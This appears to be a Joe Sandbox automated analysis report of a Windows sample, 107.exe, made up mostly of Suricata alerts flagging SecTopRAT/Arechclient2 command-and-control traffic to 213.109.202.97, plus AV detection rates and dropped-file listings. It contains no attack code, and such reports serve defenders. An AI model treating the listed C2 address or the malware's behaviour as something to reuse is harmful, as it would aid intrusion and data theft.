2024-10-19T03:41:06.697208+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50182	213.109.202.97	9000	TCP
2024-10-19T03:41:07.712709+0200	2052248	1	A Network Trojan was detected	192.168.2.5	50183	213.109.202.97	9000	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-19T03:37:05.173655+0200	2803305	3	Unknown Traffic	192.168.2.5	49705	213.109.202.97	9000	TCP
2024-10-19T03:37:19.241225+0200	2803305	3	Unknown Traffic	192.168.2.5	49713	213.109.202.97	9000	TCP
2024-10-19T03:37:30.006991+0200	2803305	3	Unknown Traffic	192.168.2.5	49754	213.109.202.97	9000	TCP
2024-10-19T03:37:31.022620+0200	2803305	3	Unknown Traffic	192.168.2.5	49761	213.109.202.97	9000	TCP
2024-10-19T03:37:32.038233+0200	2803305	3	Unknown Traffic	192.168.2.5	49767	213.109.202.97	9000	TCP
2024-10-19T03:37:33.085144+0200	2803305	3	Unknown Traffic	192.168.2.5	49773	213.109.202.97	9000	TCP
2024-10-19T03:37:34.085162+0200	2803305	3	Unknown Traffic	192.168.2.5	49782	213.109.202.97	9000	TCP
2024-10-19T03:37:35.116444+0200	2803305	3	Unknown Traffic	192.168.2.5	49789	213.109.202.97	9000	TCP
2024-10-19T03:37:36.116466+0200	2803305	3	Unknown Traffic	192.168.2.5	49795	213.109.202.97	9000	TCP
2024-10-19T03:37:37.194559+0200	2803305	3	Unknown Traffic	192.168.2.5	49801	213.109.202.97	9000	TCP
2024-10-19T03:37:38.194590+0200	2803305	3	Unknown Traffic	192.168.2.5	49807	213.109.202.97	9000	TCP
2024-10-19T03:37:39.194778+0200	2803305	3	Unknown Traffic	192.168.2.5	49813	213.109.202.97	9000	TCP
2024-10-19T03:37:40.179169+0200	2803305	3	Unknown Traffic	192.168.2.5	49819	213.109.202.97	9000	TCP
2024-10-19T03:37:41.210341+0200	2803305	3	Unknown Traffic	192.168.2.5	49825	213.109.202.97	9000	TCP
2024-10-19T03:37:42.194785+0200	2803305	3	Unknown Traffic	192.168.2.5	49831	213.109.202.97	9000	TCP
2024-10-19T03:37:43.179113+0200	2803305	3	Unknown Traffic	192.168.2.5	49840	213.109.202.97	9000	TCP
2024-10-19T03:37:44.194751+0200	2803305	3	Unknown Traffic	192.168.2.5	49848	213.109.202.97	9000	TCP
2024-10-19T03:37:45.226037+0200	2803305	3	Unknown Traffic	192.168.2.5	49854	213.109.202.97	9000	TCP
2024-10-19T03:37:46.257273+0200	2803305	3	Unknown Traffic	192.168.2.5	49860	213.109.202.97	9000	TCP
2024-10-19T03:37:47.272824+0200	2803305	3	Unknown Traffic	192.168.2.5	49866	213.109.202.97	9000	TCP
2024-10-19T03:37:48.257212+0200	2803305	3	Unknown Traffic	192.168.2.5	49872	213.109.202.97	9000	TCP
2024-10-19T03:37:49.241695+0200	2803305	3	Unknown Traffic	192.168.2.5	49878	213.109.202.97	9000	TCP
2024-10-19T03:37:50.257341+0200	2803305	3	Unknown Traffic	192.168.2.5	49884	213.109.202.97	9000	TCP
2024-10-19T03:37:51.241622+0200	2803305	3	Unknown Traffic	192.168.2.5	49894	213.109.202.97	9000	TCP
2024-10-19T03:37:52.288533+0200	2803305	3	Unknown Traffic	192.168.2.5	49900	213.109.202.97	9000	TCP
2024-10-19T03:37:53.304160+0200	2803305	3	Unknown Traffic	192.168.2.5	49906	213.109.202.97	9000	TCP
2024-10-19T03:37:54.319800+0200	2803305	3	Unknown Traffic	192.168.2.5	49913	213.109.202.97	9000	TCP
2024-10-19T03:37:55.382301+0200	2803305	3	Unknown Traffic	192.168.2.5	49919	213.109.202.97	9000	TCP
2024-10-19T03:37:56.382472+0200	2803305	3	Unknown Traffic	192.168.2.5	49925	213.109.202.97	9000	TCP
2024-10-19T03:37:57.397968+0200	2803305	3	Unknown Traffic	192.168.2.5	49932	213.109.202.97	9000	TCP
2024-10-19T03:37:58.585525+0200	2803305	3	Unknown Traffic	192.168.2.5	49938	213.109.202.97	9000	TCP
2024-10-19T03:37:59.601106+0200	2803305	3	Unknown Traffic	192.168.2.5	49944	213.109.202.97	9000	TCP
2024-10-19T03:38:00.601159+0200	2803305	3	Unknown Traffic	192.168.2.5	49951	213.109.202.97	9000	TCP
2024-10-19T03:38:01.601135+0200	2803305	3	Unknown Traffic	192.168.2.5	49957	213.109.202.97	9000	TCP
2024-10-19T03:38:02.616778+0200	2803305	3	Unknown Traffic	192.168.2.5	49967	213.109.202.97	9000	TCP
2024-10-19T03:38:03.694916+0200	2803305	3	Unknown Traffic	192.168.2.5	49973	213.109.202.97	9000	TCP
2024-10-19T03:38:04.726181+0200	2803305	3	Unknown Traffic	192.168.2.5	49979	213.109.202.97	9000	TCP
2024-10-19T03:38:05.710550+0200	2803305	3	Unknown Traffic	192.168.2.5	49985	213.109.202.97	9000	TCP
2024-10-19T03:38:06.679340+0200	2803305	3	Unknown Traffic	192.168.2.5	49991	213.109.202.97	9000	TCP
2024-10-19T03:38:07.663715+0200	2803305	3	Unknown Traffic	192.168.2.5	49997	213.109.202.97	9000	TCP
2024-10-19T03:38:08.663718+0200	2803305	3	Unknown Traffic	192.168.2.5	50004	213.109.202.97	9000	TCP
2024-10-19T03:38:09.663755+0200	2803305	3	Unknown Traffic	192.168.2.5	50014	213.109.202.97	9000	TCP
2024-10-19T03:38:10.663760+0200	2803305	3	Unknown Traffic	192.168.2.5	50019	213.109.202.97	9000	TCP
2024-10-19T03:38:11.679425+0200	2803305	3	Unknown Traffic	192.168.2.5	50025	213.109.202.97	9000	TCP
2024-10-19T03:38:12.679413+0200	2803305	3	Unknown Traffic	192.168.2.5	50027	213.109.202.97	9000	TCP
2024-10-19T03:38:13.726393+0200	2803305	3	Unknown Traffic	192.168.2.5	50028	213.109.202.97	9000	TCP
2024-10-19T03:38:14.741967+0200	2803305	3	Unknown Traffic	192.168.2.5	50029	213.109.202.97	9000	TCP
2024-10-19T03:38:15.741931+0200	2803305	3	Unknown Traffic	192.168.2.5	50030	213.109.202.97	9000	TCP
2024-10-19T03:38:16.714291+0200	2803305	3	Unknown Traffic	192.168.2.5	50031	213.109.202.97	9000	TCP
2024-10-19T03:38:17.710709+0200	2803305	3	Unknown Traffic	192.168.2.5	50032	213.109.202.97	9000	TCP
2024-10-19T03:38:18.710873+0200	2803305	3	Unknown Traffic	192.168.2.5	50033	213.109.202.97	9000	TCP
2024-10-19T03:38:19.741985+0200	2803305	3	Unknown Traffic	192.168.2.5	50034	213.109.202.97	9000	TCP
2024-10-19T03:38:20.726763+0200	2803305	3	Unknown Traffic	192.168.2.5	50035	213.109.202.97	9000	TCP
2024-10-19T03:38:21.726401+0200	2803305	3	Unknown Traffic	192.168.2.5	50036	213.109.202.97	9000	TCP
2024-10-19T03:38:22.757855+0200	2803305	3	Unknown Traffic	192.168.2.5	50040	213.109.202.97	9000	TCP
2024-10-19T03:38:23.788941+0200	2803305	3	Unknown Traffic	192.168.2.5	50043	213.109.202.97	9000	TCP
2024-10-19T03:38:24.852085+0200	2803305	3	Unknown Traffic	192.168.2.5	50044	213.109.202.97	9000	TCP
2024-10-19T03:38:29.195529+0200	2803305	3	Unknown Traffic	192.168.2.5	50045	213.109.202.97	9000	TCP
2024-10-19T03:38:30.290270+0200	2803305	3	Unknown Traffic	192.168.2.5	50046	213.109.202.97	9000	TCP
2024-10-19T03:38:31.695710+0200	2803305	3	Unknown Traffic	192.168.2.5	50047	213.109.202.97	9000	TCP
2024-10-19T03:38:33.085917+0200	2803305	3	Unknown Traffic	192.168.2.5	50049	213.109.202.97	9000	TCP
2024-10-19T03:38:37.101617+0200	2803305	3	Unknown Traffic	192.168.2.5	50050	213.109.202.97	9000	TCP
2024-10-19T03:38:38.085980+0200	2803305	3	Unknown Traffic	192.168.2.5	50052	213.109.202.97	9000	TCP
2024-10-19T03:38:39.508026+0200	2803305	3	Unknown Traffic	192.168.2.5	50053	213.109.202.97	9000	TCP
2024-10-19T03:38:40.586023+0200	2803305	3	Unknown Traffic	192.168.2.5	50054	213.109.202.97	9000	TCP
2024-10-19T03:38:41.663265+0200	2803305	3	Unknown Traffic	192.168.2.5	50055	213.109.202.97	9000	TCP
2024-10-19T03:38:42.650915+0200	2803305	3	Unknown Traffic	192.168.2.5	50056	213.109.202.97	9000	TCP
2024-10-19T03:38:51.152614+0200	2803305	3	Unknown Traffic	192.168.2.5	50057	213.109.202.97	9000	TCP
2024-10-19T03:38:52.101804+0200	2803305	3	Unknown Traffic	192.168.2.5	50059	213.109.202.97	9000	TCP
2024-10-19T03:38:57.101854+0200	2803305	3	Unknown Traffic	192.168.2.5	50060	213.109.202.97	9000	TCP
2024-10-19T03:38:58.164959+0200	2803305	3	Unknown Traffic	192.168.2.5	50061	213.109.202.97	9000	TCP
2024-10-19T03:38:59.101860+0200	2803305	3	Unknown Traffic	192.168.2.5	50062	213.109.202.97	9000	TCP
2024-10-19T03:39:00.164901+0200	2803305	3	Unknown Traffic	192.168.2.5	50063	213.109.202.97	9000	TCP
2024-10-19T03:39:01.108092+0200	2803305	3	Unknown Traffic	192.168.2.5	50064	213.109.202.97	9000	TCP
2024-10-19T03:39:02.289405+0200	2803305	3	Unknown Traffic	192.168.2.5	50065	213.109.202.97	9000	TCP
2024-10-19T03:39:03.313524+0200	2803305	3	Unknown Traffic	192.168.2.5	50066	213.109.202.97	9000	TCP
2024-10-19T03:39:04.289435+0200	2803305	3	Unknown Traffic	192.168.2.5	50068	213.109.202.97	9000	TCP
2024-10-19T03:39:05.398823+0200	2803305	3	Unknown Traffic	192.168.2.5	50069	213.109.202.97	9000	TCP
2024-10-19T03:39:06.410610+0200	2803305	3	Unknown Traffic	192.168.2.5	50070	213.109.202.97	9000	TCP
2024-10-19T03:39:07.414556+0200	2803305	3	Unknown Traffic	192.168.2.5	50071	213.109.202.97	9000	TCP
2024-10-19T03:39:08.383231+0200	2803305	3	Unknown Traffic	192.168.2.5	50072	213.109.202.97	9000	TCP
2024-10-19T03:39:09.414490+0200	2803305	3	Unknown Traffic	192.168.2.5	50073	213.109.202.97	9000	TCP
2024-10-19T03:39:10.415076+0200	2803305	3	Unknown Traffic	192.168.2.5	50074	213.109.202.97	9000	TCP
2024-10-19T03:39:11.414508+0200	2803305	3	Unknown Traffic	192.168.2.5	50075	213.109.202.97	9000	TCP
2024-10-19T03:39:12.448466+0200	2803305	3	Unknown Traffic	192.168.2.5	50077	213.109.202.97	9000	TCP
2024-10-19T03:39:13.414520+0200	2803305	3	Unknown Traffic	192.168.2.5	50078	213.109.202.97	9000	TCP
2024-10-19T03:39:14.586582+0200	2803305	3	Unknown Traffic	192.168.2.5	50079	213.109.202.97	9000	TCP
2024-10-19T03:39:18.617891+0200	2803305	3	Unknown Traffic	192.168.2.5	50080	213.109.202.97	9000	TCP
2024-10-19T03:39:19.530868+0200	2803305	3	Unknown Traffic	192.168.2.5	50082	213.109.202.97	9000	TCP
2024-10-19T03:39:20.602129+0200	2803305	3	Unknown Traffic	192.168.2.5	50083	213.109.202.97	9000	TCP
2024-10-19T03:39:21.649453+0200	2803305	3	Unknown Traffic	192.168.2.5	50084	213.109.202.97	9000	TCP
2024-10-19T03:39:22.649326+0200	2803305	3	Unknown Traffic	192.168.2.5	50086	213.109.202.97	9000	TCP
2024-10-19T03:39:23.586567+0200	2803305	3	Unknown Traffic	192.168.2.5	50087	213.109.202.97	9000	TCP
2024-10-19T03:39:24.602176+0200	2803305	3	Unknown Traffic	192.168.2.5	50088	213.109.202.97	9000	TCP
2024-10-19T03:39:25.588171+0200	2803305	3	Unknown Traffic	192.168.2.5	50089	213.109.202.97	9000	TCP
2024-10-19T03:39:26.813789+0200	2803305	3	Unknown Traffic	192.168.2.5	50090	213.109.202.97	9000	TCP
2024-10-19T03:39:27.963053+0200	2803305	3	Unknown Traffic	192.168.2.5	50091	213.109.202.97	9000	TCP
2024-10-19T03:39:28.992980+0200	2803305	3	Unknown Traffic	192.168.2.5	50092	213.109.202.97	9000	TCP
2024-10-19T03:39:30.102233+0200	2803305	3	Unknown Traffic	192.168.2.5	50093	213.109.202.97	9000	TCP
2024-10-19T03:39:31.086624+0200	2803305	3	Unknown Traffic	192.168.2.5	50094	213.109.202.97	9000	TCP
2024-10-19T03:39:32.102400+0200	2803305	3	Unknown Traffic	192.168.2.5	50095	213.109.202.97	9000	TCP
2024-10-19T03:39:33.086996+0200	2803305	3	Unknown Traffic	192.168.2.5	50096	213.109.202.97	9000	TCP
2024-10-19T03:39:34.008515+0200	2803305	3	Unknown Traffic	192.168.2.5	50097	213.109.202.97	9000	TCP
2024-10-19T03:39:35.071577+0200	2803305	3	Unknown Traffic	192.168.2.5	50098	213.109.202.97	9000	TCP
2024-10-19T03:39:36.073559+0200	2803305	3	Unknown Traffic	192.168.2.5	50099	213.109.202.97	9000	TCP
2024-10-19T03:39:37.102454+0200	2803305	3	Unknown Traffic	192.168.2.5	50100	213.109.202.97	9000	TCP
2024-10-19T03:39:39.227547+0200	2803305	3	Unknown Traffic	192.168.2.5	50103	213.109.202.97	9000	TCP
2024-10-19T03:39:40.211716+0200	2803305	3	Unknown Traffic	192.168.2.5	50104	213.109.202.97	9000	TCP
2024-10-19T03:39:41.180468+0200	2803305	3	Unknown Traffic	192.168.2.5	50105	213.109.202.97	9000	TCP
2024-10-19T03:39:42.211897+0200	2803305	3	Unknown Traffic	192.168.2.5	50106	213.109.202.97	9000	TCP
2024-10-19T03:39:43.249915+0200	2803305	3	Unknown Traffic	192.168.2.5	50107	213.109.202.97	9000	TCP
2024-10-19T03:39:44.260130+0200	2803305	3	Unknown Traffic	192.168.2.5	50108	213.109.202.97	9000	TCP
2024-10-19T03:39:45.211827+0200	2803305	3	Unknown Traffic	192.168.2.5	50109	213.109.202.97	9000	TCP
2024-10-19T03:39:46.258923+0200	2803305	3	Unknown Traffic	192.168.2.5	50110	213.109.202.97	9000	TCP
2024-10-19T03:39:47.211913+0200	2803305	3	Unknown Traffic	192.168.2.5	50111	213.109.202.97	9000	TCP
2024-10-19T03:39:48.211826+0200	2803305	3	Unknown Traffic	192.168.2.5	50112	213.109.202.97	9000	TCP
2024-10-19T03:39:49.195901+0200	2803305	3	Unknown Traffic	192.168.2.5	50113	213.109.202.97	9000	TCP
2024-10-19T03:39:50.211874+0200	2803305	3	Unknown Traffic	192.168.2.5	50114	213.109.202.97	9000	TCP
2024-10-19T03:39:51.274902+0200	2803305	3	Unknown Traffic	192.168.2.5	50115	213.109.202.97	9000	TCP
2024-10-19T03:39:56.260778+0200	2803305	3	Unknown Traffic	192.168.2.5	50116	213.109.202.97	9000	TCP
2024-10-19T03:39:58.413784+0200	2803305	3	Unknown Traffic	192.168.2.5	50117	213.109.202.97	9000	TCP
2024-10-19T03:39:59.415338+0200	2803305	3	Unknown Traffic	192.168.2.5	50118	213.109.202.97	9000	TCP
2024-10-19T03:40:00.500403+0200	2803305	3	Unknown Traffic	192.168.2.5	50119	213.109.202.97	9000	TCP
2024-10-19T03:40:01.477584+0200	2803305	3	Unknown Traffic	192.168.2.5	50120	213.109.202.97	9000	TCP
2024-10-19T03:40:02.508857+0200	2803305	3	Unknown Traffic	192.168.2.5	50121	213.109.202.97	9000	TCP
2024-10-19T03:40:04.602715+0200	2803305	3	Unknown Traffic	192.168.2.5	50123	213.109.202.97	9000	TCP
2024-10-19T03:40:15.853544+0200	2803305	3	Unknown Traffic	192.168.2.5	50133	213.109.202.97	9000	TCP
2024-10-19T03:40:21.948801+0200	2803305	3	Unknown Traffic	192.168.2.5	50141	213.109.202.97	9000	TCP
2024-10-19T03:40:28.009336+0200	2803305	3	Unknown Traffic	192.168.2.5	50147	213.109.202.97	9000	TCP
2024-10-19T03:40:31.015179+0200	2803305	3	Unknown Traffic	192.168.2.5	50150	213.109.202.97	9000	TCP
2024-10-19T03:40:33.103193+0200	2803305	3	Unknown Traffic	192.168.2.5	50152	213.109.202.97	9000	TCP
2024-10-19T03:40:35.110009+0200	2803305	3	Unknown Traffic	192.168.2.5	50155	213.109.202.97	9000	TCP
2024-10-19T03:40:40.212377+0200	2803305	3	Unknown Traffic	192.168.2.5	50159	213.109.202.97	9000	TCP
2024-10-19T03:40:41.212753+0200	2803305	3	Unknown Traffic	192.168.2.5	50160	213.109.202.97	9000	TCP
2024-10-19T03:40:53.212518+0200	2803305	3	Unknown Traffic	192.168.2.5	50170	213.109.202.97	9000	TCP
2024-10-19T03:40:58.307228+0200	2803305	3	Unknown Traffic	192.168.2.5	50175	213.109.202.97	9000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 107.exe	ReversingLabs: Detection: 31%
Source: 107.exe	Virustotal: Detection: 28%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_00459B90 RegOpenKeyExW,GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GlobalMemoryStatusEx,GetDiskFreeSpaceExW,GetSystemTimes,QueryPerformanceCounter,CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

0_2_00459B90

Source: 107.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\background.js.LICENSE.txt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\import.js.LICENSE.txt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\options.js.LICENSE.txt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\permissions.js.LICENSE.txt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\dist\popup.js.LICENSE.txt	Jump to behavior

Source:

Binary string: C:\BUILD\work\e0dd96435fde7cb0\BUILDS\Release\x86\avDump.pdb source: 107.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 06EFDB95h	1_2_06EFD5B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 07B9556Ch	1_2_07B94580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp 07B9556Ch	1_2_07B94580

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:49704 -> 213.109.202.97:15647
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 213.109.202.97:15647 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49705 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49711 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49706 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49708 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49713 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49716 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49761 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49767 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49749 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49801 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49782 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49773 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49795 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49807 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49789 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49819 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49813 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49825 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49831 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49754 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49848 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49860 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49866 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49854 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49872 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49878 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49894 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49884 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49900 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49906 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49913 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49840 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49919 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49925 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49932 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49938 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49951 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49967 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49957 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49973 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49991 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49997 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50004 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49944 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50014 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50019 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50027 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50025 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50028 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50029 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50031 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50030 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50032 -> 213.109.202.97:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50033 -> 213.109.202.97:9000
